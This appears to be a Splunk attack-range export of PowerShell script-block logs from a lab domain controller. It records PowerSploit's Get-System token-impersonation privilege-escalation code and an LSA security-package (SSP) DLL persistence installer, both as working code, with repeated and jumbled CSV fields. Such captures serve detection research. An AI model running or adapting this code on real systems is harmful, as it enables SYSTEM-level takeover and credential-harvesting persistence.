$Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal"" Write-Verbose ""[Get-System] OpenProcessToken result: $LastError"" [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] DuplicateToken result: $LastError"" $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if(-not($RetVal)) { Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop } Write-Verbose ""[Get-System] SetThreadToken result: $LastError"" $null = $Win32Methods::CloseHandle($Handle) } } if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop } if($PSBoundParameters['WhoAmI']) { Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)"" return } elseif($PSBoundParameters['RevToSelf']) { $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) $RetVal = $RevertToSelf.Invoke() if($RetVal) { Write-Output ""[Get-System] RevertToSelf successful."" } else { Write-Warning ""[Get-System] RevertToSelf failed."" } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop } if($Technique -eq 'NamedPipe') { # if we're using named pipe impersonation with a service Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName } else { # otherwise use token duplication Get-SystemToken } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } }",,,,,,,,,,,"'2022-05-02T18:24:40.048035200Z'","4104132150x0122466Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122466Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local22llingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder2) $Win32TypeBuilder.DefinePInvokeMethod( 'DuplicateToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Int32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'SetThreadToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'OpenProcessToken', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'LookupPrivilegeValue', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([String], [String], [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32TypeBuilder.DefinePInvokeMethod( 'AdjustTokenPrivileges', 'advapi32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) $Win32Methods = $Win32TypeBuilder.CreateType() $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} $GetCurrentProcess = $Win32Native.GetMethod( 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' ) $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 # $STANDARD_RIGHTS_READ = 0x00020000 $TOKEN_ASSIGN_PRIMARY = 0x00000001 $TOKEN_DUPLICATE = 0x00000002 $TOKEN_IMPERSONATE = 0x00000004 $TOKEN_QUERY = 0x00000008 $TOKEN_QUERY_SOURCE = 0x00000010 $TOKEN_ADJUST_PRIVILEGES = 0x00000020 $TOKEN_ADJUST_GROUPS = 0x00000040 $TOKEN_ADJUST_DEFAULT = 0x00000080 $TOKEN_ADJUST_SESSIONID = 0x00000100 # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor $TOKEN_ASSIGN_PRIMARY -bor $TOKEN_DUPLICATE -bor $TOKEN_IMPERSONATE -bor $TOKEN_QUERY -bor $TOKEN_QUERY_SOURCE -bor $TOKEN_ADJUST_PRIVILEGES -bor $TOKEN_ADJUST_GROUPS -bor $TOKEN_ADJUST_DEFAULT -bor $TOKEN_ADJUST_SESSIONID [long]$Luid = 0 $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) $tokPriv1Luid.Count = 1 $tokPriv1Luid.Luid = $Luid $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) $htoken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($RetVal)) { Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop } $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { try { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $Process = Get-Process -Id $_.ProcessId $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) if ($Handle) { $Handle } } } } catch { Write-Verbose ""[Get-System] error enumerating handle: $_"" } } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { Write-Error '[Get-System] Unable to obtain a handle to a system process.' } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal"" Write-Verbose ""[Get-System] OpenProcessToken result: $LastError"" [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""[Get-System] DuplicateToken result: $LastError"" $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if(-not($RetVal)) { Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop } Write-Verbose ""[Get-System] SetThreadToken result: $LastError"" $null = $Win32Methods::CloseHandle($Handle) } } if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop } if($PSBoundParameters['WhoAmI']) { Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)"" return } elseif($PSBoundParameters['RevToSelf']) { $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) $RetVal = $RevertToSelf.Invoke() if($RetVal) { Write-Output ""[Get-System] RevertToSelf successful."" } else { Write-Warning ""[Get-System] RevertToSelf failed."" } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop } if($Technique -eq 'NamedPipe') { # if we're using named pipe impersonation with a service Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName } else { # otherwise use token duplication Get-SystemToken } Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } } 6dc3f998-f746-426f-86eb-4b0137800789C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122466,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122466,win,193,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0006-6E5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"33l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' } # Resolve the full path if a relative path was provided. $FullDllPath = Resolve-Path $Path # Helper function used to determine the dll architecture function local:Get-PEArchitecture { Param ( [Parameter( Position = 0, Mandatory = $True )] [String] $Path ) # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $lfanew = New-Object Byte[](4) # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } if ($Architecture -eq '014C') { Write-Output '32-bit' } elseif ($Architecture -eq '8664') { Write-Output '64-bit' } else { Write-Output 'Other' } } $DllArchitecture = Get-PEArchitecture $FullDllPath $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture if ($DllArchitecture -ne $OSArch) { throw 'The operating system architecture must match the architecture of the SSP dll.' } $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name # Get the dll filename without the extension. # This will be added to the registry. $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' if ($SecurityPackages -contains $DllName) { throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages."" } # In case you're running 32-bit PowerShell on a 64-bit OS $NativeInstallDir = ""$($Env:windir)\Sysnative"" if (Test-Path $NativeInstallDir) { $InstallDir = $NativeInstallDir } else { $InstallDir = ""$($Env:windir)\System32"" } if (Test-Path (Join-Path $InstallDir $Dll)) { throw ""$Dll is already installed in $InstallDir."" } # If you've made it this far, you are clear to install the SSP dll. Copy-Item $FullDllPath $InstallDir $SecurityPackages += $DllName Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([String], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $Secur32 = $TypeBuilder.CreateType() if ([IntPtr]::Size -eq 4) { $StructSize = 20 } else { $StructSize = 24 } $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) $RuntimeSuccess = $True try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) } catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"" Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"" $RuntimeSuccess = $False } if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' } else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } function Get-SecurityPackage { <# .SYNOPSIS Enumerates all loaded security packages (SSPs). Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. It also parses the returned SecPkgInfo struct array. .EXAMPLE Get-SecurityPackage #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding()] Param() #region P/Invoke declarations for secur32.dll $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) $SECPKG_FLAG = $EnumBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public') $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') $SecPkgInfo = $TypeBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([Int32].MakeByRefType(), [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $Secur32 = $TypeBuilder.CreateType() $PackageCount = 0 $PackageArrayPtr = [IntPtr]::Zero $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) if ($Result -ne 0) { throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))"" } if ($PackageCount -eq 0) { Write-Verbose 'There are no installed security packages.' return } $StructAddress = $PackageArrayPtr foreach ($i in 1..$PackageCount) { $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) $Name = $null if ($SecPackageStruct.Name -ne [IntPtr]::Zero) { $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) } $Comment = $null if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) { $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) } $Attributes = @{ Name = $Name Comment = $Comment Capabilities = $SecPackageStruct.fCapabilities MaxTokenSize = $SecPackageStruct.cbMaxToken } $SecPackage = New-Object PSObject -Property $Attributes $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' $SecPackage } } 2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,4104,122451,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,3,3,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,,"'5388'",,,,,,122451,,,,"2bf3fb48-5590-4142-bc16-78ae39631d05","l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' } # Resolve the full path if a relative path was provided. $FullDllPath = Resolve-Path $Path # Helper function used to determine the dll architecture function local:Get-PEArchitecture { Param ( [Parameter( Position = 0, Mandatory = $True )] [String] $Path ) # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $lfanew = New-Object Byte[](4) # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } if ($Architecture -eq '014C') { Write-Output '32-bit' } elseif ($Architecture -eq '8664') { Write-Output '64-bit' } else { Write-Output 'Other' } } $DllArchitecture = Get-PEArchitecture $FullDllPath $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture if ($DllArchitecture -ne $OSArch) { throw 'The operating system architecture must match the architecture of the SSP dll.' } $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name # Get the dll filename without the extension. # This will be added to the registry. $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' if ($SecurityPackages -contains $DllName) { throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages."" } # In case you're running 32-bit PowerShell on a 64-bit OS $NativeInstallDir = ""$($Env:windir)\Sysnative"" if (Test-Path $NativeInstallDir) { $InstallDir = $NativeInstallDir } else { $InstallDir = ""$($Env:windir)\System32"" } if (Test-Path (Join-Path $InstallDir $Dll)) { throw ""$Dll is already installed in $InstallDir."" } # If you've made it this far, you are clear to install the SSP dll. Copy-Item $FullDllPath $InstallDir $SecurityPackages += $DllName Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([String], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $Secur32 = $TypeBuilder.CreateType() if ([IntPtr]::Size -eq 4) { $StructSize = 20 } else { $StructSize = 24 } $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) $RuntimeSuccess = $True try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) } catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"" Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"" $RuntimeSuccess = $False } if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' } else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } function Get-SecurityPackage { <# .SYNOPSIS Enumerates all loaded security packages (SSPs). Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. It also parses the returned SecPkgInfo struct array. .EXAMPLE Get-SecurityPackage #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding()] Param() #region P/Invoke declarations for secur32.dll $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) $SECPKG_FLAG = $EnumBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') $null = $TypeBuilder.DefineField('wRPCID', 